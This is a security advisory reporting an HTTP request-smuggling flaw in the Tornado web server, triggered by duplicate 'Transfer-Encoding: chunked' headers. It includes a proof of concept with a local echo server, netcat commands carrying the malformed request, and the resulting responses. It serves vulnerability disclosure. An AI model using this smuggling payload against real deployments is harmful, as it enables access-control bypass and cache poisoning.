GHSA-753j-mpmx-qq6g

### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.

### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado

class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body)

async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait()

asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1

Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0

HTTP/1.1 400 Bad Request

``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.